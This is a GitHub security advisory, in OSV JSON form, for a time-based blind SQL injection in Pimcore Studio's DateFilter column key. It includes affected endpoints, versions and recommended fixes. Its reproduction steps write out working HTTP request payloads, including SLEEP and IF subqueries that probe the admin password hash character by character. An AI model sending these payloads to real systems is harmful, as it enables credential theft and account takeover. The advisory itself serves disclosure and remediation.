{"id":"GHSA-79cw-hfcc-7mw9","summary":"Pimcore: SQL Injection via Column Name in DateFilter allows authenticated user to extract arbitrary database data including admin password hashes","details":"## Summary\n\nAn authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the `DateFilter` column key parameter. The `POST /pimcore-studio/api/website-settings` endpoint (and 11 other listing endpoints) accepts a `columnFilters` array where the `key` field is interpolated directly into SQL with only manual backtick wrapping. The `DateFilter` uses fixed named parameters (`:minTime`, `:maxTime`), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a backtick character and appends arbitrary SQL, including `SLEEP()` for time-based extraction and `IF()` subqueries for conditional data exfiltration.\n\n## Vulnerability Details\n\n### Exploitable: DateFilter with Fixed Named Parameters\n\n`src/Listing/Filter/DateFilter.php` lines 49-57 handle the `on` operator. The column key comes from user input and is placed in the SQL with manual backtick wrapping, while the named parameters are hardcoded as `:minTime` and `:maxTime`:\n\n```php\n$key = $column-\u003egetKey();  // user-controlled, no validation\n$dateCondition = '`' . $key . '` ' . ' BETWEEN :minTime AND :maxTime';\n$listing-\u003eaddConditionParam($dateCondition, ['minTime' =\u003e $value, 'maxTime' =\u003e ...]);\n```\n\nBecause the named parameters are fixed strings, PDO accepts the binding regardless of what the column name contains.\n\n### Same Pattern in Note FilterService\n\n`src/Note/Service/FilterService.php` lines 64-67:\n\n```php\n$dateCondition = '`' . $filter[$propertyKey] . '` ' . ' BETWEEN :minTime AND :maxTime';\n$list-\u003eaddConditionParam($dateCondition, ['minTime' =\u003e $value, 'maxTime' =\u003e $maxTime]);\n```\n\n### No Validation on Column Key\n\n`src/MappedParameter/Filter/ColumnFilter.php` accepts any string as the `key` with zero validation or allowlisting.\n\n### Why Backtick Wrapping is Not Escaping\n\nManual backtick wrapping (`` '`' . $key . '`' ``) does not escape internal backtick characters. `quoteIdentifier()` doubles them, manual wrapping does not. A backtick in the key breaks out of the quoting and the `-- ` (double dash space) comments out the remainder of the query:\n\n**Input:** ``key = \"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- \"``\n\n**Produces:**\n```sql\n(`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)\n```\n\nEverything after `-- ` is a SQL comment. The injected `SLEEP(3)` executes unconditionally.\n\n### Contrast with Safe Patterns in the Same Codebase\n\n- `LogRepository.php` line 202: uses `$this-\u003edbResolver-\u003eget()-\u003equoteIdentifier()` (safe)\n- `ClassificationStore/Configuration/KeyRepository.php`: uses `ALLOWED_SORT_KEYS` allowlist (safe)\n\n### Note on EqualsFilter/LikeFilter\n\nThe `EqualsFilter` and `LikeFilter` have the same manual backtick wrapping, but they reuse the column name as the PDO named parameter (`:columnName`). PDO requires named parameters to match `[a-zA-Z0-9_]`, so injection characters cause a parameter binding error before SQL execution. These filters are not exploitable through this vector. The DateFilter is exploitable because it uses independent fixed parameter names.\n\n## Steps to Reproduce\n\nTested on Pimcore 12.x (2026.x branch, latest commit `82f9ff6`), Docker, PHP 8.4, MariaDB 10.11.\n\n### Step 1: Baseline request (no injection)\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=\u003cAUTHENTICATED_SESSION\u003e\n\n{\"page\":1,\"pageSize\":10}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- `totalItems: 1` -- **0.07 seconds**\n\n\u003cimg width=\"1666\" height=\"616\" alt=\"image\" src=\"https://github.com/user-attachments/assets/93dfbb22-3915-4abb-b569-13c9f3cea368\" /\u003e\n\n\n### Step 2: Unconditional SLEEP(3) injection\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=\u003cAUTHENTICATED_SESSION\u003e\n\n{\"page\":1,\"pageSize\":10,\"filters\":{\"columnFilters\":[{\"key\":\"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- \",\"type\":\"date\",\"filterValue\":{\"operator\":\"on\",\"value\":\"2024-01-01\"}}]}}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- `totalItems: 0` -- **6.07 seconds**\n\n\u003cimg width=\"1631\" height=\"898\" alt=\"image\" src=\"https://github.com/user-attachments/assets/97d04b04-4fb2-4fd4-95b8-e50d0521de97\" /\u003e\n\n\u003cimg width=\"1920\" height=\"625\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6000a604-b189-4f99-8648-d8ec36a59094\" /\u003e\n\n\nThe 6-second delay (3s x 2 queries: SELECT + COUNT) confirms SQL injection. The MySQL general log shows the injected SQL executed:\n\n```sql\nSELECT id FROM website_settings WHERE (`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)  ORDER BY `id` ASC LIMIT 50\n```\n\n### Step 3: Conditional SLEEP proving data extraction (TRUE case)\n\nThis query tests whether the admin password hash starts with `$2y$` (bcrypt, hex `0x24327924`). If true, the server sleeps 3 seconds. If false, no delay.\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=\u003cAUTHENTICATED_SESSION\u003e\n\n{\"page\":1,\"pageSize\":10,\"filters\":{\"columnFilters\":[{\"key\":\"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- \",\"type\":\"date\",\"filterValue\":{\"operator\":\"on\",\"value\":\"2024-01-01\"}}]}}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- **6.07 seconds** (TRUE: admin password hash starts with `$2y$`)\n\n\u003cimg width=\"1611\" height=\"706\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b9f12ca4-3459-4ed6-8a08-c64f99f28d85\" /\u003e\n\n\n\u003cimg width=\"1917\" height=\"570\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1c5eca3d-f66b-4630-bea9-69c93ffa1a6f\" /\u003e\n\n\n\n### Step 4: Conditional SLEEP (FALSE case, wrong guess)\n\nSame query but testing for `XXXX` (hex `0x58585858`) instead:\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=\u003cAUTHENTICATED_SESSION\u003e\n\n{\"page\":1,\"pageSize\":10,\"filters\":{\"columnFilters\":[{\"key\":\"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- \",\"type\":\"date\",\"filterValue\":{\"operator\":\"on\",\"value\":\"2024-01-01\"}}]}}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- **0.07 seconds** (FALSE: password does not start with `XXXX`)\n\n\u003cimg width=\"1920\" height=\"496\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7a27f666-a6e4-4c65-94b4-f0d22ba1db7f\" /\u003e\n\n\n### Timing comparison\n\n| Request | Payload | Response Time | Meaning |\n|---------|---------|---------------|---------|\n| Baseline | No injection | 0.07s | Normal |\n| Unconditional SLEEP | `AND SLEEP(3)` | 6.07s | Injection confirmed |\n| Conditional TRUE | `IF(password starts with $2y$, SLEEP(3), 0)` | 6.07s | Data extracted: hash is bcrypt |\n| Conditional FALSE | `IF(password starts with XXXX, SLEEP(3), 0)` | 0.07s | Control: no match, no delay |\n\nBy iterating through characters with `SUBSTRING(password, N, 1)`, an attacker extracts the full bcrypt hash for offline cracking, or extracts `passwordRecoveryToken` values for direct account takeover without cracking.\n\n## Impact\n\nAn authenticated user with `website_settings` permission (or any permission granting access to a listing endpoint with DateFilter support) extracts the full contents of any database table one character at a time through conditional time-based blind SQL injection.\n\nDirectly extractable high-value data:\n- Admin password hashes (`users.password`) for offline cracking\n- Password recovery tokens (`users.passwordRecoveryToken`) for direct account takeover via `POST /login/token`\n- Session data for session hijacking\n- All PIM product data, CMS content, and asset metadata\n\n## Affected Endpoints\n\nAll endpoints using `ListingFilter::applyFilters()` with a DateFilter `on` column filter:\n\n- `POST /pimcore-studio/api/website-settings`\n- `POST /pimcore-studio/api/notifications`\n- `POST /pimcore-studio/api/recycle-bin`\n- `POST /pimcore-studio/api/redirects`\n- `POST /pimcore-studio/api/translations/{domain}`\n- `POST /pimcore-studio/api/quantity-value/units`\n- `POST /pimcore-studio/api/properties`\n- `POST /pimcore-studio/api/classification-store/{storeId}/keys`\n- `POST /pimcore-studio/api/classification-store/{storeId}/groups`\n- `POST /pimcore-studio/api/classification-store/{storeId}/collections`\n- `GET /pimcore-studio/api/notes/{elementType}/{id}` (via Note FilterService fieldFilters)\n\n## Recommended Fix\n\nReplace manual backtick wrapping with `Doctrine\\DBAL\\Connection::quoteIdentifier()`, or implement a per-listing allowlist of valid column names:\n\n```php\n// Option 1: quoteIdentifier (doubles internal backticks)\n$db = \\Pimcore\\Db::get();\n$dateCondition = $db-\u003equoteIdentifier($key) . ' BETWEEN :minTime AND :maxTime';\n\n// Option 2: allowlist (preferred)\nprivate const ALLOWED_COLUMNS = ['id', 'name', 'date', 'type', 'creationDate', 'modificationDate'];\nif (!in_array($key, self::ALLOWED_COLUMNS, true)) {\n    throw new InvalidArgumentException('Invalid filter column');\n}\n```\n\nApply the same fix to `EqualsFilter`, `LikeFilter`, and `Note/FilterService` as defense-in-depth, even though those are currently protected by PDO named parameter validation.\n\n## Supporting Materials\n\n- Live-tested on Pimcore 12.x (2026.x branch, commit `82f9ff6`), Docker, PHP 8.4, MariaDB 10.11\n- MySQL general query log confirms injected SQL reaches the database\n- The safe pattern (`quoteIdentifier()`) exists in the same codebase in `LogRepository.php` line 202\n- Package: `pimcore/studio-backend-bundle`","aliases":["CVE-2026-55208"],"modified":"2026-08-28T19:15:07.221788130Z","published":"2026-08-28T19:04:54Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-08-28T19:04:54Z","nvd_published_at":"2026-07-09T21:16:56Z","cwe_ids":["CWE-89"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/pimcore/pimcore/security/advisories/GHSA-79cw-hfcc-7mw9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55208"},{"type":"WEB","url":"https://github.com/pimcore/studio-backend-bundle/pull/1883"},{"type":"WEB","url":"https://github.com/pimcore/studio-backend-bundle/commit/f532428cfbf4f5d6e299a13cedd5c29541802552"},{"type":"PACKAGE","url":"https://github.com/pimcore/pimcore"},{"type":"WEB","url":"https://github.com/pimcore/studio-backend-bundle/releases/tag/v2025.4.6"},{"type":"WEB","url":"https://github.com/pimcore/studio-backend-bundle/releases/tag/v2026.1.6"}],"affected":[{"package":{"name":"pimcore/studio-backend-bundle","ecosystem":"Packagist","purl":"pkg:composer/pimcore/studio-backend-bundle"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2025.4.6"}]}],"versions":["v0.10.21","v0.12.18","v0.12.9","v0.13.20","v0.14.19","v0.15.17","v0.4.30","v0.5.20","v0.6.30","v0.9.30","v2025.4.0","v2025.4.1","v2025.4.2","v2025.4.3","v2025.4.4","v2025.4.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-79cw-hfcc-7mw9/GHSA-79cw-hfcc-7mw9.json"}},{"package":{"name":"pimcore/studio-backend-bundle","ecosystem":"Packagist","purl":"pkg:composer/pimcore/studio-backend-bundle"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2026.1.0"},{"fixed":"2026.1.6"}]}],"versions":["v2026.1.0","v2026.1.1","v2026.1.2","v2026.1.3","v2026.1.4","v2026.1.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-79cw-hfcc-7mw9/GHSA-79cw-hfcc-7mw9.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"}]}